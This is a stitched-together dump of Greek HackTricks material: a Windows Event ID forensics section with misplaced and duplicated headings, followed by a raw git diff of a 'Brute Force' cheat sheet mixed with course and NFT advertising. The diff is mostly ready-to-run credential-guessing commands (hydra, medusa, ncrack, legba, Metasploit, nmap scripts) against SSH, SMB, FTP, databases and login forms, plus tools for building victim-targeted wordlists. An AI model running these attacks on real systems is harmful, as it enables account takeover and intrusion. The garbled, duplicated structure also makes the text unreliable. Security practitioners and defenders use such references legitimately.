### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών:
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον αποκλεισμό.
* **EventID 4624**: Υποδεικνύει ότι ένας χρήστης αυθεντικοποιήθηκε επιτυχώς.
* **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης.
* **EventIDs 4634/4647**: Αντιπροσωπεύουν γεγονότα αποσύνδεσης χρηστών.
* **EventID 4672**: Υποδηλώνει σύνδεση με διαχειριστικά δικαιώματα.
#### Διαγραφή Καταγραφών
#### Υποτύποι εντός του EventID 4634/4647:
Το EventID 1102 της Ασφάλειας υποδεικνύει τη διαγραφή των καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση αποδεικτικών στοιχείων.
* **Interactive (2)**: Άμεση σύνδεση χρήστη.
* **Network (3)**: Πρόσβαση σε κοινόχρηστους φακέλους.
* **Batch (4)**: Εκτέλεση παρτίδων διαδικασιών.
* **Service (5)**: Εκκινήσεις υπηρεσιών.
* **Proxy (6)**: Αυθεντικοποίηση μέσω proxy.
* **Unlock (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης.
* **Network Cleartext (8)**: Μετάδοση κωδικού πρόσβασης σε καθαρό κείμενο, συχνά από IIS.
* **New Credentials (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση.
* **Remote Interactive (10)**: Σύνδεση μέσω απομακρυσμένης επιφάνειας εργασίας ή υπηρεσιών τερματικού.
* **Cache Interactive (11)**: Σύνδεση με αποθηκευμένα διαπιστευτήρια χωρίς επαφή με τον ελεγκτή τομέα.
* **Cache Remote Interactive (12)**: Απομακρυσμένη σύνδεση με αποθηκευμένα διαπιστευτήρια.
* **Cached Unlock (13)**: Ξεκλείδωμα με αποθηκευμένα διαπιστευτήρια.
#### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625:
* **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση καταμέτρησης ονομάτων χρηστών.
* **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψιάς κωδικού ή brute-force.
* **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις.
* **0xC0000072**: Ο λογαριασμός είναι απενεργοποιημένος - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς.
* **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης.
* **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία.
* **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει.
* **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης.
* **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket.
* **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού.
* **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας.
* **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας.
#### EventID 4616:
* **Αλλαγή Χρόνου**: Τροποποίηση του συστήματος χρόνου, μπορεί να θολώσει τη χρονολογία των γεγονότων.
#### EventID 6005 και 6006:
* **Εκκίνηση και Τερματισμός Συστήματος**: Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 το τερματισμό του.
#### EventID 1102:
* **Διαγραφή Log**: Καθαρισμός των ασφαλιστικών logs, που συχνά είναι κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων.
#### EventIDs για Παρακολούθηση Συσκευών USB:
* **20001 / 20003 / 10000**: Πρώτη σύνδεση συσκευής USB.
* **10100**: Ενημέρωση οδηγού USB.
* **EventID 112**: Χρόνος εισαγωγής συσκευής USB.
Για πρακτικά παραδείγματα σχετικά με την προσομοίωση αυτών των τύπων σύνδεσης και ευκαιριών εξαγωγής διαπιστευτηρίων, ανατρέξτε στον [αναλυτικό οδηγό της Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Λεπτομέρειες γεγονότων, συμπεριλαμβανομένων των κωδικών κατάστασης και υποκατάστασης, παρέχουν περαιτέρω πληροφορίες σχετικά με τις αιτίες των γεγονότων, ιδιαίτερα αξιοσημείωτες στο Event ID 4625.
### Ανάκτηση Γεγονότων Windows
Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk\_extractor**, ένα εργαλείο ανάκτησης που καθορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων.
### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows
Για έναν ολοκληρωμένο οδηγό σχετικά με τη χρήση των Windows Event IDs στην αναγνώριση κοινών κυβερνοεπιθέσεων, επισκεφθείτε το [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Επιθέσεις Brute Force
Αναγνωρίσιμες από πολλαπλές καταγραφές EventID 4625, ακολουθούμενες από ένα EventID 4624 αν η επίθεση είναι επιτυχής.
#### Αλλαγή Χρόνου
Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας.
#### Παρακολούθηση Συσκευών USB
Χρήσιμα System EventIDs για την παρακολούθηση συσκευών USB περιλαμβάνουν 20001/20003/10000 για αρχική χρήση, 10100 για ενημερώσεις οδηγών και EventID 112 από το DeviceSetupManager για χρονικές σφραγίδες εισαγωγής.
#### Γεγονότα Ικανότητας Συστήματος
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό.
#### Διαγραφή Log
Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή των logs, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Χτύπημα Με Βία - Φύλλο Απατηλών Φύλλων
# Brute Force - CheatSheet
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Προεπιλεγμένα Διαπιστευτήρια
## Default Credentials
**Αναζητήστε στο google** για τα προεπιλεγμένα διαπιστευτήρια της τεχνολογίας που χρησιμοποιείται, ή **δοκιμάστε αυτούς τους συνδέσμους**:
**Αναζητήστε στο google** για τις προεπιλεγμένες πιστοποιήσεις της τεχνολογίας που χρησιμοποιείται, ή **δοκιμάστε αυτούς τους συνδέσμους**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -37,11 +38,11 @@
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Δημιουργία των Δικών σας Λεξικών**
## **Create your own Dictionaries**
Βρείτε όσο περισσότερες πληροφορίες μπορείτε για τον στόχο και δημιουργήστε ένα προσαρμοσμένο λεξικό. Εργαλεία που μπορεί να βοηθήσουν:
Βρείτε όσο το δυνατόν περισσότερες πληροφορίες σχετικά με τον στόχο και δημιουργήστε ένα προσαρμοσμένο λεξικό. Εργαλεία που μπορεί να βοηθήσουν:
### Crunch
```bash
@ -55,20 +56,18 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewl είναι ένα εργαλείο που χρησιμοποιείται για τη δημιουργία λεξικών από ιστοσελίδες. Μπορεί να χρησιμοποιηθεί για να εξάγει λέξεις κλειδιά από μια ιστοσελίδα και να τις χρησιμοποιήσει σε επιθέσεις brute-force.
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
Δημιουργήστε κωδικούς πρόσβασης βασισμένους στη γνώση σας για το θύμα (ονόματα, ημερομηνίες...)
Δημιουργήστε κωδικούς πρόσβασης με βάση τις γνώσεις σας για το θύμα (ονόματα, ημερομηνίες...)
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Ένα εργαλείο για τη δημιουργία λίστας λέξεων, που σας επιτρέπει να παρέχετε ένα σύνολο λέξεων, δίνοντάς σας τη δυνατότητα να δημιουργήσετε πολλαπλές παραλλαγές από τις δοθείσες λέξεις, δημιουργώντας μια μοναδική και ιδανική λίστα λέξεων για χρήση σχετικά με ένα συγκεκριμένο στόχο.
Ένα εργαλείο δημιουργίας λιστών λέξεων, που σας επιτρέπει να παρέχετε ένα σύνολο λέξεων, δίνοντάς σας τη δυνατότητα να δημιουργήσετε πολλές παραλλαγές από τις δεδομένες λέξεις, δημιουργώντας μια μοναδική και ιδανική λίστα λέξεων για χρήση σχετικά με έναν συγκεκριμένο στόχο.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -105,14 +104,14 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Υπηρεσίες
Ταξινομημένες κατά αλφαβητική σειρά με βάση το όνομα της υπηρεσίας.
Ταξινομημένες αλφαβητικά κατά όνομα υπηρεσίας.
### AFP
```bash
@ -125,16 +124,14 @@ msf> set USER_FILE <PATH_USERS>
msf> run
```
### AJP
AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server through to an application server. It is often used in conjunction with the Apache Tomcat application server. AJP is a relatively simple protocol that can be vulnerable to brute force attacks if not properly secured.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM και Solace)
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### Cassandra
### Κασσάνδρα
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
@ -145,7 +142,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Καταχώριση Docker
### Docker Registry
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
@ -154,19 +151,17 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
Η ακροδέκτης πρωτόκολλου FTP (File Transfer Protocol) είναι μια από τις πιο δημοφιλείς στόχους για επιθέσεις Brute Force.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
### HTTP Γενική Εξαναγκαστική
### HTTP Generic Brute
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### HTTP Βασική Ταυτοποίηση
### HTTP Basic Auth
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
@ -178,20 +173,18 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Αποστολή Φόρμας Post
### HTTP - Post Form
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
Για το http**s** πρέπει να αλλάξετε από "http-post-form" σε "**https-post-form"**
Για http**s** πρέπει να αλλάξετε από "http-post-form" σε "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla ή (D)rupal ή (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
### IMAP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
@ -200,8 +193,6 @@ nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
Το Internet Relay Chat (IRC) είναι ένα πρωτόκολλο επικοινωνίας σε πραγματικό χρόνο που χρησιμοποιείται για συνομιλίες σε ομαδικές ή ιδιωτικές συνομιλίες μέσω καναλιών.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
@ -237,8 +228,6 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
### MQTT
```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
@ -250,8 +239,6 @@ nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
### MSSQL
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
@ -294,15 +281,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
Για να χρησιμοποιήσετε το **oracle\_login** με το **patator** χρειάζεστε να **εγκαταστήσετε**:
Για να χρησιμοποιήσετε **oracle\_login** με **patator** πρέπει να **εγκαταστήσετε**:
```bash
pip3 install cx_Oracle --upgrade
```
[Χρήση βίαιης δύναμης για αποκρυπτογράφηση κατακερματισμένου κωδικού OracleSQL εκτός σύνδεσης](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**εκδόσεις 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** και **11.2.0.3**):
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**εκδόσεις 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** και **11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### ΤΣΑΚΑΝΑΚΙ
### POP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -344,22 +331,14 @@ hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
### Rexec
### Εκτέλεση με Bruteforce
Bruteforce είναι μια τεχνική επίθεσης που στοχεύει στο να βρει τα σωστά διαπιστευτήρια με τη δοκιμή όλων των πιθανών συνδυασμών. Αυτή η μέθοδος μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε συστήματα, λογαριασμούς ή οποιοδήποτε άλλο στοιχείο που προστατεύεται από κωδικό πρόσβασης.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
### Rlogin
### Rlogin
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
Η επίθεση Rsh (Remote Shell) είναι μια τεχνική επίθεσης που χρησιμοποιείται για να αποκτήσει ο κακόβουλος χρήστης πρόσβαση σε έναν απομακρυσμένο υπολογιστή. Συνήθως, αυτή η επίθεση εκμεταλλεύεται την αδυναμία του συστήματος στην αυθεντικοποίηση, χρησιμοποιώντας brute-force επιθέσεις για να μαντέψει τα διαπιστευτήρια του χρήστη.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
@ -386,8 +365,6 @@ nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<w
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
### SMB
```bash
nmap --script smb-brute -p 445 <IP>
@ -400,8 +377,6 @@ hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
```
### SOCKS
### SOCKS
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
@ -418,8 +393,6 @@ medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M mssq
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
@ -430,19 +403,17 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
#### Αδύναμα κλειδιά SSH / Προβλέψιμο PRNG του Debian
#### Αδύναμα κλειδιά SSH / Προβλέψιμος PRNG Debian
Κάποια συστήματα έχουν γνωστές ελαττώσεις στο τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να οδηγήσει σε μειωμένο χώρο κλειδιών που μπορεί να αποκρυπτογραφηθεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Επίσης, υπάρχουν διαθέσιμα προ-δημιουργημένα σύνολα αδύναμων κλειδιών όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ)
Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουράς μηνυμάτων** όπως το RabbitMQ, το ActiveMQ, το HornetQ και το OpenMQ. Παρέχει μια τυποποιημένη και αποτελεσματική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διάφορων λειτουργιών μηνυμάτων.
Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει την απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουρών μηνυμάτων** όπως το RabbitMQ, ActiveMQ, HornetQ και OpenMQ. Παρέχει μια τυποποιημένη και αποτελεσματική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διαφόρων λειτουργιών μηνυμάτων.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
### Telnet
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει την απομακρυσμένη πρόσβαση σε άλλους υπολογιστές στο διαδίκτυο ή το τοπικό δίκτυο.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -479,28 +450,28 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Τοπικά
### Online βάσεις δεδομένων για αποκρυπτογράφηση
### Διαδικτυακές βάσεις δεδομένων cracking
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 με/χωρίς ESS/SSP και με οποιαδήποτε τιμή πρόκλησης)
